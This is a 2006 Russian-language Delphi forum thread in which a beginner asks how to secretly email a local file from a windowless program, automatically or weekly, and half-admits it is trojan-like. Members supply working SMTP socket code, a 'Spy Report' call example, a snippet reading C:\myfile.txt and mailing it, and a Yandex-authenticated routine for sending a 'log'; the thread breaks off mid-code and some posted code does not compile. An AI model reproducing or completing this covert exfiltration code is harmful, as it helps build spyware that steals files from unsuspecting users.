VPF::Скрытая отправка - Форум программистов

dark73

Дата 24.1.2006, 22:02 (ссылка)

(нет голосов)

Загрузка ...

Новичок

Профиль
Группа: Участник
Сообщений: 30
Регистрация: 22.1.2006

Репутация: нет
Всего: нет

Нужна реализация скрытой отправки файла на е-мейл (например C:\myfile.txt(), прогу пишу без формы, вот нашел код на этом замечательном форуме, но не могу поять, куда вписывать мыло %) извените, дельфи только начал изучать

Код


unit Email;
interface
uses
  Windows, SusUtils, Classes;
function SendEmail(const RecipName, RecipAddress,
Subject, Attachment: string): Boolean;
function IsOnline: Boolean;
implementation
uses Mapi;
function SendEmail(const RecipName, RecipAddress,
Subject, Attachment: string): Boolean;
var
  MapiMessage: TMapiMessage;
  MapiFileDesc: TMapiFileDesc;
  MapiRecipDesc: TMapiRecipDesc;
  i: integer;
  s: string;
begin
  with MapiRecipDesc do
  begin
    ulRecerved:= 0;
    ulRecipClass:= MAPI_TO;
    lpszName:= PChar(RecipName);
    lpszAddress:= PChar(RecipAddress);
    ulEIDSize:= 0;
    lpEntryID:= nil;
  end;
  with MapiFileDesc do
  begin
    ulReserved:= 0;
    flFlags:= 0;
    nPosition:= 0;
    lpszPathName:= PChar(Attachment);
    lpszFileName:= nil;
    lpFileType:= nil;
  end;
  with MapiMessage do
  begin
    ulReserved := 0;
    lpszSubject := nil;
    lpszNoteText := PChar(Subject);
    lpszMessageType := nil;
    lpszDateReceived := nil;
    lpszConversationID := nil;
    flFlags := 0;
    lpOriginator := nil;
    nRecipCount := 1;
    lpRecips := @MapiRecipDesc;
    if length(Attachment) > 0 then
    begin
      nFileCount:= 1;
      lpFiles := @MapiFileDesc;
    end
    else
    begin
      nFileCount:= 0;
      lpFiles:= nil;
    end;
  end;
  Result:= MapiSendMail(0, 0, MapiMessage, MAPI_DIALOG
  or MAPI_LOGON_UI or MAPI_NEW_SESSION, 0) = SUCCESS_SUCCESS;
end;
function IsOnline: Boolean;
var
  RASConn: TRASConn;
  dwSize,dwCount: DWORD;
begin
  RASConns.dwSize:= SizeOf(TRASConn);
  dwSize:= SizeOf(RASConns);
  Res:=RASEnumConnectionsA(@RASConns, @dwSize, @dwCount);
  Result:= (Res = 0) and (dwCount > 0);
end;
end.

Вот полная ссылка откуда взял код:
http://forum.vingrad.ru/index.php?showtopic=55273

Если кто может помочь, то скажите как связать это вот с этим http://forum.vingrad.ru/index.php?showtopic=80870 то есть автоматом отправлять файл при достижении его определнного размера.

Или как можно замутить так, что бы файл сам отсылался, например 1н раз в неделю. Пишу без формы, так что таймер не поставишь =(

Это сообщение отредактировал(а) Snowy - 25.1.2006, 10:18

RaIDeR

Дата 25.1.2006, 01:48 (ссылка)

(нет голосов)

Загрузка ...

Шустрый

Профиль
Группа: Участник
Сообщений: 116
Регистрация: 20.6.2005

Репутация: 1
Всего: 4

Цитата

извените, дельфи только начал изучать

Ну и пиши на компонентах smile

Цитата

Пишу без формы, так что таймер не поставишь =(

=) =) =) Для этого существует Api ф-ция SetTimer ;)

ps
Трояна пишешь ?)

Дата 25.1.2006, 15:16 (ссылка)

(нет голосов)

Загрузка ...

Брутальный буратина

Профиль
Группа: Участник Клуба
Сообщений: 3497
Регистрация: 31.3.2002
Где: Лес

Репутация: 10
Всего: 115

function SendEmail(const RecipName, RecipAddress,
Subject, Attachment: string): Boolean;

SendEmail('John Kakashkin','[email protected]','Spy Report','c:\file.txt');

dark73

Дата 25.1.2006, 22:24 (ссылка)

(нет голосов)

Загрузка ...

Новичок

Профиль
Группа: Участник
Сообщений: 30
Регистрация: 22.1.2006

Репутация: нет
Всего: нет

Извените,за мою наивность, но не могли бы вы привести полный код.
И какие ф-ции кроме Windows надо подключать?

bems

Дата 25.1.2006, 23:25 (ссылка)

(нет голосов)

Загрузка ...

Эксперт

Профиль
Группа: Комодератор
Сообщений: 3400
Регистрация: 5.1.2006

Репутация: нет
Всего: 88

Прошу прощения, если лезу не в свое дело, но трояны обычно пишут через некоторое время ПОСЛЕ того как начинают изучать программирование

--------------------

Обижено школьников: 8

dark73

Дата 25.1.2006, 23:34 (ссылка)

(нет голосов)

Загрузка ...

Новичок

Профиль
Группа: Участник
Сообщений: 30
Регистрация: 22.1.2006

Репутация: нет
Всего: нет

А с чего ты вообще ты взял что ясобираюсь писать трояна?
просьба не флеймить!

ne0n

Дата 26.1.2006, 21:33 (ссылка)

(нет голосов)

Загрузка ...

PlayBoy

Профиль
Группа: Участник
Сообщений: 733
Регистрация: 5.8.2005
Где: Н.Новгород

Репутация: нет
Всего: 11

Цитата(dark73 @ 25.1.2006, 23:34

)

А с чего ты вообще ты взял что ясобираюсь писать трояна?

Да блин сразу все понятно!
В основном такие потребности нужны для написания трояна!

--------------------

http://sa-sec.org
как я вам? smile

dark73

Дата 26.1.2006, 22:52 (ссылка)

(нет голосов)

Загрузка ...

Новичок

Профиль
Группа: Участник
Сообщений: 30
Регистрация: 22.1.2006

Репутация: нет
Всего: нет

Блин, ладно раскусили, но это не совсем трой, мне для работы нужно.
А не для какого-нить баловства

Дата 26.1.2006, 23:24 (ссылка)

(нет голосов)

Загрузка ...

Брутальный буратина

Профиль
Группа: Участник Клуба
Сообщений: 3497
Регистрация: 31.3.2002
Где: Лес

Репутация: 10
Всего: 115

Цитата(dark73 @ 26.1.2006, 22:52

)

Блин, ладно раскусили, но это не совсем трой, мне для работы нужно.
А не для какого-нить баловства

посущесву:
Да какая разница, что это и для чего, если вы языка программирования не знаете smile

А учить вас этому тут врятли ктонить станет ...

не посущесву:
Хотя мир не без странных людей smile

Добавлено @ 23:29
И вобще батенька вы промазали вам из той темы нужен был не тот код каторый вы тут показали а соседний тоесть этот:

PS: счтиайте это напутствием smile

Код


{
smtp - ip адрес smtp сервера
port - порт smtp сервера, по умолчанию 25
from - адрес отправителя
dest - адрес получателя
subject - тема письма
body - текст писма
Возвращает True если письмо было успешно отправленно...
}

function mail(smtp: string; port: integer; from, dest, subject,
  body: string): bool;
const
  cl = #13#10;
var
WSAData: TWSAData;
  Host: TSockAddrIn;
  Sock: TSocket;
  res: Integer;
  buff: array[1..255] of Char;

  { отправляем данные через сокет }
  procedure senddata(str: string);
  var
    i: integer;
  begin
    for i := 1 to Length(str) do
      if send(Sock, str[i], 1, 0) = SOCKET_ERROR then
        exit;
  end;

  { получаем ответ от команды }
  function recvdata(accept: string): bool;
  var
    buff: array[1..255] of Char;
  begin
    res := recv(Sock, buff, SizeOf(buff), 0);
    Result := (Res = SOCKET_ERROR) or (Copy(buff, 1, 3) = accept);
  end;

begin
  try
    result := false;
    { инициализация сокета }
    WSAStartUp(257, WSAData);
    Sock := socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    if Sock = INVALID_SOCKET then
      Exit;

    { устанавливаем хост и порт сервера }
    res := inet_addr(PChar(smtp));
    if res <= 0 then
      exit;

    Host.sin_family := AF_INET;
    Host.sin_port := htons(port);
    Host.sin_addr.S_addr := res;

    { подключаемся к серверу }
    if connect(Sock, Host, SizeOf(Host)) > 0 then
      Exit;

    { приветствие сервера }
    if not recvdata('220') then
      Exit;

    { EHLO }
    senddata('EHLO' + cl);
    if not recvdata('250') then
      Exit;

    { MAIL FROM: }
    senddata('MAIL FROM:' + from + cl);
    if not recvdata('250') then
      Exit;

    { RCPT TO: }
    senddata('RCPT TO:' + dest + cl);
    if not recvdata('250') then
      Exit;

    { DATA }
    senddata('DATA' + cl);
    if not recvdata('354') then
      Exit;

    { отправляем текст сообщения }
    senddata('Subject:' + subject + cl + cl + body + cl + '.');
    if not recvdata('250') then
      Exit;

    { отключаемся от сервера }
    senddata('QUIT' + cl);

    result := true;
  finally
    { убиваем сокет }
    closesocket(sock);
    WSACleanup;
  end;
end;

{
mail('127.0.0.1',25,'[email protected]' ,'[email protected]', 'subj', 'body text');
}

Добавлено @ 23:36
да кстати этот код выдранная часть из библиотеки (и отправляет письмо без аттача) CRTSOCK такчто вот оригинал, там всё есть ->
http://tothpaul.free.fr/zip/CRTSOCK.ZIP

dark73

Дата 27.1.2006, 00:01 (ссылка)

(нет голосов)

Загрузка ...

Новичок

Профиль
Группа: Участник
Сообщений: 30
Регистрация: 22.1.2006

Репутация: нет
Всего: нет

Да, с программингом я только начал знакомиться...

Блин, по моему я не верно заполнил поля smile

Код


function mail(smtp: string; port: integer; from, dest, subject,
  body: string): bool;
const
  cl = #13#10;
var
WSAData: TWSAData;
  Host: TSockAddrIn;
  Sock: TSocket;
  res: Integer;
  buff: array[1..255] of Char;
  { отправляем данные через сокет }
  procedure senddata(str: string);
  var
    i: integer;
  begin
    for i := 1 to Length(str) do
      if send(Sock, str[i], 1, 0) = SOCKET_ERROR then
        exit;
  end;
  { получаем ответ от команды }
  function recvdata(accept: string): bool;
  var
    buff: array[1..255] of Char;
  begin
    res := recv(Sock, buff, SizeOf(buff), 0);
    Result := (Res = SOCKET_ERROR) or (Copy(buff, 1, 3) = accept);
  end;
begin
  try
    result := false;
    { инициализация сокета }
    WSAStartUp(257, WSAData);
    Sock := socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    if Sock = INVALID_SOCKET then
      Exit;
    { устанавливаем хост и порт сервера }
    res := inet_addr(PChar(smtp.mail.ru));
    if res <= 0 then
      exit;
    Host.sin_family := AF_INET;
    Host.sin_port := htons(25);
    Host.sin_addr.S_addr := res;
    { подключаемся к серверу }
    if connect(Sock, Host, SizeOf(Host)) > 0 then
      Exit;
    { приветствие сервера }
    if not recvdata('220') then
      Exit;
    { EHLO }
    senddata('EHLO' + cl);
    if not recvdata('250') then
      Exit;
    { MAIL FROM: }
    senddata('MAIL FROM:' [email protected]);
    if not recvdata('250') then
      Exit;
    { RCPT TO: }
    senddata('RCPT TO:' [email protected]);
    if not recvdata('250') then
      Exit;
    { DATA }
    senddata('DATA' + cl);
    if not recvdata('354') then
      Exit;
    { отправляем текст сообщения }
    senddata('Subject:' Tema pisma);
    if not recvdata('250') then
      Exit;
    { отключаемся от сервера }
    senddata('QUIT' + cl);
    result := true;
  finally
    { убиваем сокет }
    closesocket(sock);
    WSACleanup;
  end;
end;

А как файл прикрепить?
например c:\myfile.txt

0Max0

Дата 27.1.2006, 12:13 (ссылка)

(нет голосов)

Загрузка ...

Новичок

Профиль
Группа: Участник
Сообщений: 5
Регистрация: 27.1.2006

Репутация: нет
Всего: нет

Да, это то, что мне надо, только вот код всё равно с ошибками =(

Код


unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

   function SendEmail(const RecipName, RecipAddress,
Subject, Attachment: string): Boolean;


SendEmail('John Kakashkin','[email protected]','Spy Report','c:\file.txt');

end;

end.

Вот ошибки
[Error] Unit1.pas(28): Unknown directive: 'SendEmail'
[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'

Вроде всё должно работать, в чём ошибка ???

Snowy

Дата 27.1.2006, 12:52 (ссылка)

(нет голосов)

Загрузка ...

Эксперт

Профиль
Группа: Модератор
Сообщений: 11363
Регистрация: 13.10.2004
Где: Питер

Репутация: 53
Всего: 484

1. Тупо вставляем в свою программу этот код: http://forum.vingrad.ru/index.php?showtopi...38;amp;p=628639
2.

Код


var
  fs: TFileStream;
  s:   string;
begin
  fs:=TFileStream.Create('C:\myfile.txt', fmOpenRead);
  SetLength(s, fs.Size); fs.Read(s[1], fs.Size);
  fs.Free;
  mail(smtp, 25, '[email protected]', '[email protected]', 'лови файл', s);
end;

Добавлено @ 12:53
P.S. вместо smtp нужно подставить адрес smtp сервера.

0Max0

Дата 27.1.2006, 13:29 (ссылка)

(нет голосов)

Загрузка ...

Новичок

Профиль
Группа: Участник
Сообщений: 5
Регистрация: 27.1.2006

Репутация: нет
Всего: нет

не работает, попробуй у себя на компе, если не сложно

Код


unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
            function SendEmail(const RecipName, RecipAddress,
Subject, Attachment: string): Boolean;
function IsOnline: Boolean;
implementation

{$R *.dfm}


uses Mapi;
function SendEmail(const RecipName, RecipAddress,
Subject, Attachment: string): Boolean;
var
  MapiMessage: TMapiMessage;
  MapiFileDesc: TMapiFileDesc;
  MapiRecipDesc: TMapiRecipDesc;
  i: integer;
  s: string;
begin
  with MapiRecipDesc do
  begin
    ulRecerved:= 0;
    ulRecipClass:= MAPI_TO;
    lpszName:= PChar(RecipName);
    lpszAddress:= PChar(RecipAddress);
    ulEIDSize:= 0;
    lpEntryID:= nil;
  end;
  with MapiFileDesc do
  begin
    ulReserved:= 0;
    flFlags:= 0;
    nPosition:= 0;
    lpszPathName:= PChar(Attachment);
    lpszFileName:= nil;
    lpFileType:= nil;
  end;
  with MapiMessage do
  begin
    ulReserved := 0;
    lpszSubject := nil;
    lpszNoteText := PChar(Subject);
    lpszMessageType := nil;
    lpszDateReceived := nil;
    lpszConversationID := nil;
    flFlags := 0;
    lpOriginator := nil;
    nRecipCount := 1;
    lpRecips := @MapiRecipDesc;
    if length(Attachment) > 0 then
    begin
      nFileCount:= 1;
      lpFiles := @MapiFileDesc;
    end
    else
    begin
      nFileCount:= 0;
      lpFiles:= nil;
    end;
  end;
  Result:= MapiSendMail(0, 0, MapiMessage, MAPI_DIALOG
  or MAPI_LOGON_UI or MAPI_NEW_SESSION, 0) = SUCCESS_SUCCESS;
end;
function IsOnline: Boolean;
var
  RASConn: TRASConn;
  dwSize,dwCount: DWORD;
begin
  RASConns.dwSize:= SizeOf(TRASConn);
  dwSize:= SizeOf(RASConns);
  Res:=RASEnumConnectionsA(@RASConns, @dwSize, @dwCount);
  Result:= (Res = 0) and (dwCount > 0);
end;
var
  fs: TFileStream;
  s:   string;
begin
  fs:=TFileStream.Create('C:\myfile.txt', fmOpenRead);
  SetLength(s, fs.Size); fs.Read(s[1], fs.Size);
  fs.Free;
  mail(smtp.mail.ru, 25, '[email protected]', '[email protected]', 'ëîâè ôàéë', s);


end.

Вот ошиьбки
[Error] Unit1.pas(39): Undeclared identifier: 'ulRecerved'
[Error] Unit1.pas(83): Undeclared identifier: 'TRASConn'
[Error] Unit1.pas(86): Undeclared identifier: 'RASConns'
[Error] Unit1.pas(88): Undeclared identifier: 'Res'
[Warning] Unit1.pas(89): Comparing signed and unsigned types - widened both operands
[Error] Unit1.pas(98): Undeclared identifier: 'mail'
[Error] Unit1.pas(98): Missing operator or semicolon
[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'

Скиньте пожалуйста исходник, а то что-то вообще не компилиться.

Snowy

Дата 27.1.2006, 13:36 (ссылка)

(нет голосов)

Загрузка ...

Эксперт

Профиль
Группа: Модератор
Сообщений: 11363
Регистрация: 13.10.2004
Где: Питер

Репутация: 53
Всего: 484

Код


unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

uses WinSock;

function mail(smtp: string; port: integer; from, dest, subject,
  body: string): bool;
const
  cl = #13#10;
var
WSAData: TWSAData;
  Host: TSockAddrIn;    
  Sock: TSocket;    
  res: Integer;    
  { отправляем данные через сокет }
  procedure senddata(str: string);    
  var    
    i: integer;    
  begin    
    for i := 1 to Length(str) do    
      if send(Sock, str[i], 1, 0) = SOCKET_ERROR then    
        exit;    
  end;    
  { получаем ответ от команды }    
  function recvdata(accept: string): bool;    
  var    
    buff: array[1..255] of Char;    
  begin    
    res := recv(Sock, buff, SizeOf(buff), 0);    
    Result := (Res = SOCKET_ERROR) or (Copy(buff, 1, 3) = accept);    
  end;    
begin    
  try    
    result := false;    
    { инициализация сокета }    
    WSAStartUp(257, WSAData);    
    Sock := socket(AF_INET, SOCK_STREAM, IPPROTO_IP);    
    if Sock = INVALID_SOCKET then    
      Exit;    
    { устанавливаем хост и порт сервера }    
    res := inet_addr(PChar(smtp));    
    if res <= 0 then    
      exit;    
    Host.sin_family := AF_INET;    
    Host.sin_port := htons(port);    
    Host.sin_addr.S_addr := res;    
    { подключаемся к серверу }    
    if connect(Sock, Host, SizeOf(Host)) > 0 then    
      Exit;    
    { приветствие сервера }    
    if not recvdata('220') then    
      Exit;    
    { EHLO }    
    senddata('EHLO' + cl);    
    if not recvdata('250') then    
      Exit;    
    { MAIL FROM: }    
    senddata('MAIL FROM:' + from + cl);    
    if not recvdata('250') then    
      Exit;    
    { RCPT TO: }    
    senddata('RCPT TO:' + dest + cl);    
    if not recvdata('250') then    
      Exit;    
    { DATA }    
    senddata('DATA' + cl);    
    if not recvdata('354') then    
      Exit;    
    { отправляем текст сообщения }    
    senddata('Subject:' + subject + cl + cl + body + cl + '.');    
    if not recvdata('250') then    
      Exit;    
    { отключаемся от сервера }    
    senddata('QUIT' + cl);    
    result := true;    
  finally    
    { убиваем сокет }    
    closesocket(sock);    
    WSACleanup;    
  end;    
end;

var
  fs: TFileStream;
  s:   string;
begin
  fs:=TFileStream.Create('C:\myfile.txt', fmOpenRead);
  SetLength(s, fs.Size); fs.Read(s[1], fs.Size);
  fs.Free;
  mail('smtp.mail.ru', 25, '[email protected]', '[email protected]', 'eiae oaee', s);
end.

0Max0

Дата 27.1.2006, 14:19 (ссылка)

(нет голосов)

Загрузка ...

Новичок

Профиль
Группа: Участник
Сообщений: 5
Регистрация: 27.1.2006

Репутация: нет
Всего: нет

Всё прекрасно компилится, но письма не отсылаются, даже пакеты не отсылаются =(
пробывал отсылать на разные ящики

Дата 27.1.2006, 15:20 (ссылка)

(нет голосов)

Загрузка ...

Брутальный буратина

Профиль
Группа: Участник Клуба
Сообщений: 3497
Регистрация: 31.3.2002
Где: Лес

Репутация: 10
Всего: 115

Пардон я там выше не ту сцылку дал smile

http://tothpaul.free.fr/zip/SENDMAIL.ZIP

dark73

Дата 27.1.2006, 15:42 (ссылка)

(нет голосов)

Загрузка ...

Новичок

Профиль
Группа: Участник
Сообщений: 30
Регистрация: 22.1.2006

Репутация: нет
Всего: нет

Попробывал этот код, тоже не пашет =(((

Код


program sendmail;
{$i+}
{
CrtSocket for Delphi 32
Copyright (C) 1998-2001  Paul Toth <[email protected]>
http://tothpaul.free.fr

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty
of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

See the  GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

Version 1.1 - 19 october 2000
 * added $include keyword to attach (and UUcode) files
 * last release of CrtSock -> AssignCrtSock changed
 * remove the /F: swith (expect a file when only one parameter is specified)
Version 1.2 - 7 march 2001
 * added TYPE and $boundary for multipart/alternative mails

}

{$apptype console}

uses
  CrtSock,SysUtils;

var
 host:integer;
 sin,sout:TextFile;

 sHost   :string;
 sFrom   :string;
 sTo     :string;
 sCc     :string;
 sType   :string;
 sSubject:string;
 sBody   :string;
 boundary:string;

 s:string;
 us:string;
 p:integer;

procedure Help;
 begin
  writeln('SENDMAIL [Host:server] From:email To:email [Cc:email] Subject:"ab c" [msg] [$include filename.ext]');
  writeln('SENDMAIL textfile');
  writeln('Textfile format : ');
  writeln(' Host:smtp.mail.ru');
  writeln(' From:[email protected]');
  writeln(' To:[email protected]');
  writeln(' Cc:[email protected]');
  writeln(' type:multipart/alternative');
  writeln(' subject:Moe soobschenie');
  writeln(' message...');
  writeln(' $include primer.txt');
  writeln(' $boundary');
  writeln(' ...');
  halt;
 end;

procedure Wait(code:char);
 begin
  Readln(sin,s);
  writeln(s);
  if s[1]<>Code then halt;
 end;

procedure Echo(s:string);
 begin
  writeln(s);
  writeln(sout,s);
 end;

function include(filename:string):string;
 var
  f:file;
  s:string;
  u:string;
  i,x:integer;
  ss:integer;
  c1,c2:byte;

  function uuchr(b:byte):char;
   begin
    if b=0 then result:=#96 else result:=chr(b+32);
   end;

 begin
  assignfile(f,filename);
  reset(f,1);
  if ioresult<>0 then begin
   result:='$include "'+filename+'" read error';
   exit;
  end;
  result:=#13#10'begin 600 '+filename+#13#10;
  setlength(s,76);
  while not eof(f) do begin
   blockread(f,s[1],45,i);
   u:=uuchr(i); // UUCoded line lenght
   ss:=2;
   c2:=0;
   for x:=1 to i do begin
    c1:=ord(s[x]);
    u:=u+uuchr(c2 or (c1 shr ss));
    c2:=(c1 shl (6-ss)) and 63;
    ss:=(ss+2) and 7;
    if ss=0 then begin
     ss:=2;
     u:=u+uuchr(c2);
     c2:=0;
    end;
   end;
   if (ss>2) then begin
    u:=u+uuchr(c2)+#96;
    if ss=4 then u:=u+#96;
   end;
   result:=result+u+#13#10;
  end;
  result:=result+#96#13#10'end'#13#10;
 end;

procedure ReadMail;
 var
  f:TextFile;

  procedure doline;
   begin
    if (copy(s,1,9)='$include ') then begin
     sBody:=sBody+#13#10+include(copy(s,10,length(s)));
    end else
    if (s='$boundary') then begin
     sBody:=sBody+#13#10'--'+boundary;
    end else begin
     sBody:=sBody+#13#10+s;
    end;
   end;

 begin
  assignfile(f,ParamStr(1));
  reset(f);
  if ioresult<>0 then begin
   writeln('file not found');
   halt;
  end;
  while not eof(f) do begin
   readln(f,s);
   us:=uppercase(s);
   if copy(us,1,5)='HOST:'    then sHost   :=copy(s,6,length(s)) else
   if copy(us,1,5)='FROM:'    then sFrom   :=copy(s,6,length(s)) else
   if copy(us,1,3)='TO:'      then sTo     :=copy(s,4,length(s)) else
   if copy(us,1,3)='CC:'      then sCc     :=copy(s,4,length(s)) else
   if copy(us,1,5)='TYPE:'    then sType   :=copy(s,6,length(s)) else
   if copy(us,1,8)='SUBJECT:' then sSubject:=copy(s,9,length(s)) else break;
  end;

  sBody:='';
  doline;
  while not eof(f) do begin
   writeln('--',s);
   readln(f,s);
   doline;
  end;
  p:=Paramcount+1;
 end;

begin
 FileMode:=0; // ReadOnly

 sHost   :='smtp.mail.ru';
 sFrom   :='[email protected]';
 sTo     :='[email protected]';
 sCc     :='tghgh';
 sSubject:='SendMail';
 sBody   :='(test)';

 if (ParamCount=0)or(ParamStr(1)='/?') then Help;

 boundary:='----=_NextPart_Of_This_Mail';
 if ParamCount=1 then
  ReadMail
 else begin
  p:=1;
  while p<=ParamCount do begin // Form, To, Cc, Subject
   s:=ParamStr(p); if s='/?' then Help;
   us:=uppercase(s);
   if copy(us,1,5)='HOST:'    then sHost   :=copy(s,6,length(s)) else
   if copy(us,1,5)='FROM:'    then sFrom   :=copy(s,6,length(s)) else
   if copy(us,1,3)='TO:'      then sTo     :=copy(s,4,length(s)) else
   if copy(us,1,3)='CC:'      then sCc     :=copy(s,4,length(s)) else
   if copy(us,1,8)='SUBJECT:' then sSubject:=copy(s,9,length(s)) else break;
   inc(p);
  end;


  if p<=ParamCount then sBody:='';
  while p<=ParamCount do begin // Body
   s:=ParamStr(p);
   if s='$include' then begin
    inc(p);
    sBody:=sBody+include(ParamStr(p));
   end else
    sBody:=sBody+ParamStr(p)+' ';
   inc(p);
  end;

 end;

 if sHost='' then exit;
 if sFrom='' then exit;

 write('call server...');
 host:=CallServer(sHost,25);
 if host=-1 then begin
  writeln('not found');
  exit;
 end;
 AssignCrtSock(host,sin,sout);
 Wait('2');
 Echo('HELO '+sHost);
 Wait('2');
 Echo('MAIL From:<'+sFrom+'>');
 Wait('2');
 Echo('RCPT To:<'+sTo+'>');
 Wait('2');
 if sCc<>'' then begin
  Echo('RCPT To:<'+sCc+'>');
  Wait('2');
 end;
 Echo('DATA');
 Wait('3');
 Echo('From: '+sFrom);
 Echo('To: '+sTo);
 if sCc<>'' then Echo('Cc: '+sCc);
 if sType<>'' then Echo('MIME-Version: 1.0'#13#10'Content-Type: '+sType+';'#13#10#9'boundary="'+boundary+'"');
 Echo('Subject: '+sSubject+#13#10);
// writeln(sBody);
 WriteLn(sout,sBody);
 if sType<>'' then Echo(#13#10'--'+boundary+'--'#13#10);
 Echo('.');
 Wait('2');

 Echo('QUIT');
 Wait('2');

 Close(Input);
 ReadLn;
end.

всё заполнено верно.

У ктго-нить есть точно работающзий код ???

dark73

Дата 28.1.2006, 02:19 (ссылка)

(нет голосов)

Загрузка ...

Новичок

Профиль
Группа: Участник
Сообщений: 30
Регистрация: 22.1.2006

Репутация: нет
Всего: нет

Попробуйте, кто-нить у себя на компе

Дата 28.1.2006, 14:05 (ссылка)

(нет голосов)

Загрузка ...

Брутальный буратина

Профиль
Группа: Участник Клуба
Сообщений: 3497
Регистрация: 31.3.2002
Где: Лес

Репутация: 10
Всего: 115

Код рабочий ручаюсь, давно когда-то проверял.

dark73

А зачем вы вписываете свои данные в процедуру вывода Хелпа?

Вот в переменные загонять нужно :
sHost :string;
sFrom :string;
sTo :string;
sCc :string;
sType :string;
sSubject:string;
sBody :string;
boundary:string;

PS - не обращайте внимания:
Я вот думаю что без прохождения SMTP аутентификаци на некоторых серверах отправка me2me не принемается smile

RaIDeR

Дата 29.1.2006, 06:13 (ссылка)

(нет голосов)

Загрузка ...

Шустрый

Профиль
Группа: Участник
Сообщений: 116
Регистрация: 20.6.2005

Репутация: 1
Всего: 4

Пример отправления почты с Яндекса, но только без аттача.(вместо аттача можно просто считать весь лог из файла, и отправить как обычно)

Код


unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, WinSock;

type
  PMail = ^TMail;
  TMail = record
    SMTP  : String;
    Subj  : String;
    From  : String;
    Domain: String;
    Pass  : String;
    ToUser: String;
    Log   : String;
  end;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    Mail: TMail;
  public
    { Public declarations }
  end;

const
  BASE_64_TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';

var
  Form1: TForm1;

implementation

{$R *.dfm}

function B64Encode(const StrToB64: String) : String;
var
  I: Integer;
  InBuf: array [0..2] of Byte;
  OutBuf: array [0..3] of Char;
begin
  SetLength(Result, ((Length(StrToB64) + 2) div 3) * 4);
  for I := 1 to ((Length(StrToB64) + 2) div 3) do
  begin
    if Length(StrToB64) < (I * 3) then
      Move(StrToB64[(I - 1) * 3 + 1], InBuf, Length(StrToB64) - (I - 1) * 3)
    else
      Move(StrToB64[(I - 1) * 3 + 1], InBuf, 3);
    OutBuf[0] := BASE_64_TABLE[ ((InBuf[0] and $FC) shr 2) + 1];
    OutBuf[1] := BASE_64_TABLE[(((InBuf[0] and $03) shl 4) or ((InBuf[1] and $F0) shr 4)) + 1];
    OutBuf[2] := BASE_64_TABLE[(((InBuf[1] and $0F) shl 2) or ((InBuf[2] and $C0) shr 6)) + 1];
    OutBuf[3] := BASE_64_TABLE[  (InBuf[2] and $3F)  +  1];
    Move(OutBuf, Result[(I - 1) * 4 + 1], 4);
  end;
  if (Length(StrToB64) mod 3) = 1 then
  begin
    Result[Length(Result) - 1] := '=';
    Result[Length(Result)] := '=';
  end
    else
  if (Length(StrToB64) mod 3) = 2 then Result[Length(Result)] := '=';
end;

function SendLog(lpMail: PMail) : Boolean;
var
  WSAData: TWSAData;
  addr: sockaddr_in;
  Socket: TSocket;

function GetIpByName : Boolean;
var
  HostEnt: PHostEnt;
begin
  HostEnt := GetHostByName(PChar(lpMail^.SMTP));
  Result := HostEnt <> nil;

  if Result then
    lpMail^.SMTP := inet_ntoa(PInAddr(HostEnt.h_addr_list^)^);
end;

procedure Send(Query: String);
var
  I: Word;
begin
  for I := 1 to Length(Query) do
    if WinSock.Send(Socket, Query[I], 1, 0) = SOCKET_ERROR then
      Exit;
end;

procedure Recv;
var
  Buff: String;
begin
  SetLength(Buff, $FFFF);
  while WinSock.Recv(Socket, PChar(Buff)^, $FFFF, 0) <> 0 do ;
end;

begin
  Result := False;
  if WSAStartup($0101, WSAData) = 0 then
    try
      Socket := WinSock.Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
      if Socket <> INVALID_SOCKET then
        try
          if inet_addr(Pchar(lpMail^.SMTP)) = INADDR_NONE then
            if not GetIpByName then
              Exit;

          ZeroMemory(@addr, SizeOf(sockaddr_in));
          with addr do
          begin
            sin_family      := AF_INET;
            sin_port        := htons(IPPORT_SMTP);
            sin_addr.S_addr := inet_addr(PChar(lpMail^.SMTP));
          end;
          Result := Connect(Socket, addr, SizeOf(sockaddr_in)) <> SOCKET_ERROR;
          if Result then
            try
              Send('EHLO user'#13#10);
              Send('AUTH LOGIN'+ B64Encode(lpMail^.From) + #13#10);
              Send(B64Encode(lpMail^.Pass) + #13#10);
              Send('MAIL FROM: <' + lpMail^.From + lpMail^.Domain + '>'#13#10);
              Send('RCPT TO: <' + lpMail^.ToUser + '>'#13#10);
              Send('DATA '#13#10'Subject: ' + lpMail^.Subj + #13#10#13#10 + lpMail^.Log + #13#10'.'#13#10);
              Send('QUIT' + #13#10);
              Recv;
            finally
              ShutDown(Socket, SD_BOTH);
            end;
        finally
          CloseSocket(Socket);
        end;
    finally
      WSACleanup;
    end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
   with Mail do
   begin
     SMTP   := 'smtp.yandex.ru';
     Subj   := 'Coooool';
     From   := 'cooluser_1';
     Domain := '@yandex.ru';
     Pass   := 'coolpassword';
     ToUser := '[email protected]';
     Log    := 'The log.';
   end;

